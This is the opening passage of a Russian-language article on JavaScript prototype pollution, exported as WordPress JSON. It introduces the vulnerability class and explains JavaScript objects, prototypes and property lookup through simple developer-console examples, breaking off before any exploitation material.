{"id":319693,"date":"2021-03-16T15:02:08","date_gmt":"2021-03-16T15:02:08","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=319693"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=319693","title":{"rendered":"JavaScript prototype pollution: \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 bug bounty \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445, \u0442\u043e \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0437\u043d\u0430\u0435\u0442\u0435 \u043f\u0440\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 JavaScript prototype pollution. \u0410 \u0435\u0441\u043b\u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0438 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0435 \u044d\u0442\u043e \u0441\u043b\u043e\u0432\u043e\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435, \u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0432\u0430\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0431\u0435\u043b, \u0432\u0435\u0434\u044c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0432\u0430\u0448\u0435\u0439 (\u0438\u043b\u0438 \u043d\u0435 \u0432\u0430\u0448\u0435\u0439) \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 JavaScript: \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0434\u0435\u0441\u043a\u0442\u043e\u043f (<a href=\"https:\/\/www.electronjs.org\">Electron<\/a>), \u0441\u0435\u0440\u0432\u0435\u0440 (<a href=\"https:\/\/nodejs.org\/en\/\">NodeJS<\/a>) \u0438\u043b\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0432\u0430\u043c \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u043c\u0443 prototype pollution. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 <strong>\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 JavaScript<\/strong> \u0438 <strong>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 prototype pollution?<\/strong> \u0432\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b JavaScript \u0438 \u043a\u0430\u043a \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 <strong>Prototype pollution \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435<\/strong> \u0438 <strong>Prototype pollution \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435<\/strong> \u0432\u044b \u043d\u0430\u0443\u0447\u0438\u0442\u0435\u0441\u044c \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u043a\u0435\u0439\u0441\u0430\u0445 \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0438\u0440\u0430. \u041d\u0430\u043a\u043e\u043d\u0435\u0446 \u0432\u044b \u0438\u0437\u0443\u0447\u0438\u0442\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0430\u043c\u044b\u0439 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438.<\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0432\u0430\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u043f\u043e \u0445\u043e\u0434\u0443 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0441\u0432\u043e\u0438\u043c\u0438 \u0440\u0443\u043a\u0430\u043c\u0438, \u0441 \u0442\u0435\u043c \u0447\u0442\u043e\u0431\u044b \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u0438 \u0433\u043b\u0443\u0431\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b.<\/p>\n<p><a name=\"habracut\"><\/a>  <\/p>\n<h1 id=\"osobennosti-javascript\">\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 JavaScript<\/h1>\n<p>  <\/p>\n<p>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c prototype pollution \u043f\u0440\u0438\u0441\u0443\u0449\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u044f\u0437\u044b\u043a\u0443 JavaScript. \u0421\u0442\u0430\u043b\u043e \u0431\u044b\u0442\u044c, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0441\u0430\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u0445 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a \u043d\u0435\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442.<\/p>\n<p>  <\/p>\n<h2 id=\"obekt\">\u041e\u0431\u044a\u0435\u043a\u0442<\/h2>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432 JavaScript \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u044b? <a href=\"https:\/\/developers.google.com\/web\/tools\/chrome-devtools\/open\">\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430<\/a> \u0438 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0434\u0432\u0430 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; var o = {name: 'Ivan', surname: 'Ivanov'} &lt; undefined<\/code><\/pre>\n<p>  <\/p>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0434\u0432\u0443\u043c\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o.name &lt; &quot;Ivan&quot;<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o['surname'] &lt; &quot;Ivanov&quot;<\/code><\/pre>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443?<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o.age &lt; undefined<\/code><\/pre>\n<p>  <\/p>\n<p>\u041c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>undefined<\/code>, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430. \u041f\u043e\u043a\u0430 \u0447\u0442\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e.<\/p>\n<p>  <\/p>\n<p>\u0412 JavaScript \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0441 \u043e\u0431\u044b\u0447\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Glossary\/First-class_Function\">\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430<\/a>), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043f\u043e \u0441\u0443\u0442\u0438 \u0438\u043c\u0438 \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f. \u0414\u043e\u0431\u0430\u0432\u0438\u043c \u043c\u0435\u0442\u043e\u0434 <code>foo()<\/code> \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 <code>o<\/code> \u0438 \u0432\u044b\u0437\u043e\u0432\u0435\u043c \u0435\u0433\u043e.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o.foo = function() { &gt;   console.log(&quot;foobar&quot;) &gt; } &gt; o.foo() &lt; foobar &lt; undefined<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>toString()<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o.toString() &lt; &quot;[object Object]&quot;<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043c\u0435\u0442\u043e\u0434 <code>toString()<\/code> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>o<\/code> \u043d\u0435\u0442 \u043c\u0435\u0442\u043e\u0434\u0430 <code>toString()<\/code>! \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u044d\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects\/Object\/getOwnPropertyNames\"><code>Object.getOwnPropertyNames()<\/code><\/a>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.getOwnPropertyNames(o) &lt; (2) [&quot;name&quot;, &quot;surname&quot;, &quot;foo&quot;]<\/code><\/pre>\n<p>  <\/p>\n<p>\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430: <code>name<\/code>, <code>surname<\/code> \u0438 <code>foo<\/code>. \u041e\u0442\u043a\u0443\u0434\u0430 \u0436\u0435 \u0432\u044f\u0437\u0430\u043b\u0441\u044f \u043c\u0435\u0442\u043e\u0434 <code>toString()<\/code>?<\/p>\n<p>  <\/p>\n<h2 id=\"prototip-obekta\">\u041f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430<\/h2>\n<p>  <\/p>\n<p>JavaScript \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u043d \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u044e\u0431\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f: \u043c\u0430\u0441\u0441\u0438\u0432\u044b, \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0434\u0430\u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u0430! \u041d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u043c\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u0434\u0435\u0440\u0436\u0438\u043c\u0441\u044f.<\/p>\n<p>  <\/p>\n<p>\u0412 JavaScript \u043d\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0438. \u0415\u0441\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b \u043d\u0435 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 \u0432 JavaScript, \u043d\u043e \u0438\u043c\u0435\u0435\u0442\u0435 \u043e\u043f\u044b\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u044f\u0437\u044b\u043a\u0430\u0445, \u0442\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0437\u0430\u0431\u044b\u0442\u044c \u0432\u0441\u0435 \u0447\u0442\u043e \u0432\u044b \u0437\u043d\u0430\u0435\u0442\u0435 \u043e \u043a\u043b\u0430\u0441\u0441\u0430\u0445.<\/p>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0434\u0432\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438: <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Data_structures#data_and_structure_types\">\u043e\u0431\u044a\u0435\u043a\u0442<\/a> \u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Data_structures#data_and_structure_types\">\u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432<\/a> (\u0447\u0438\u0441\u043b\u043e, \u0441\u0442\u0440\u043e\u043a\u0430, <code>null<\/code> \u0438 \u0442.\u043f.). \u041a\u0430\u043a \u0441 \u0438\u0445 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0443\u0434\u043e\u0431\u043d\u0443\u044e \u0444\u0438\u0447\u0443 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043a\u0430\u043a \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435? \u041c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430. \u041e\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u041d\u0430\u0437\u043e\u0432\u0435\u043c \u044d\u0442\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>[[Prototype]]<\/code>. \u041e\u043a\u0435\u0439, \u0430 \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0435 \u0445\u043e\u0442\u0438\u043c \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u0434\u0435\u043b\u0438\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0443 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0438 \u043d\u0430\u0437\u043e\u0432\u0435\u043c \u0435\u0433\u043e <code>prototype<\/code>!<\/p>\n<p>  <\/p>\n<p>\u0423\u0437\u043d\u0430\u0442\u044c <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Learn\/JavaScript\/Objects\/Object_prototypes\">\u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430<\/a> \u043c\u043e\u0436\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u0430 <code>Object.getPrototypeOf()<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.getPrototypeOf(o) &lt; {constructor: \u0192, __defineGetter__: \u0192, __defineSetter__: \u0192, hasOwnProperty: \u0192, __lookupGetter__: \u0192, \u2026}<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430\u043c \u0432\u0435\u0440\u043d\u0443\u043b\u043e\u0441\u044c \u043d\u0438 \u0447\u0442\u043e \u0438\u043d\u043e\u0435 \u043a\u0430\u043a <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects\/Object\"><code>Object.prototype<\/code><\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 JavaScript. \u0423\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e <code>Object.prototype<\/code> \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043b\u0435\u0433\u043a\u043e.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.getPrototypeOf(o) === Object.prototype &lt; true<\/code><\/pre>\n<p>  <\/p>\n<p>\u041a\u043e\u0433\u0434\u0430 \u0432\u044b \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0435\u0441\u044c \u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 <code>o.name<\/code> \u0438\u043b\u0438 <code>o['name']<\/code> <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Inheritance_and_the_prototype_chain#inheriting_properties\">\u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435<\/a>:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u0414\u0432\u0438\u0436\u043e\u043a JavaScript \u0438\u0449\u0435\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>name<\/code> \u0432 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 <code>o<\/code>.<\/li>\n<li>\u0415\u0441\u043b\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0435\u0441\u0442\u044c, \u0442\u043e \u043e\u043d\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f. \u0418\u043d\u0430\u0447\u0435 \u0431\u0435\u0440\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>o<\/code> \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u0449\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043c!<\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043c\u0435\u0442\u043e\u0434 <code>toString()<\/code> \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d \u0432 <code>Object.prototype<\/code>, \u043d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0435\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u043c \u043d\u0435\u044f\u0432\u043d\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f <code>Object.prototype<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>toString()<\/code> \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443 \u0432\u0441\u0435\u0433\u043e.<\/p>\n<p>  <\/p>\n<p>\u0423 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f, \u0443 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0442\u043e\u0436\u0435 \u0438 \u0442\u0430\u043a 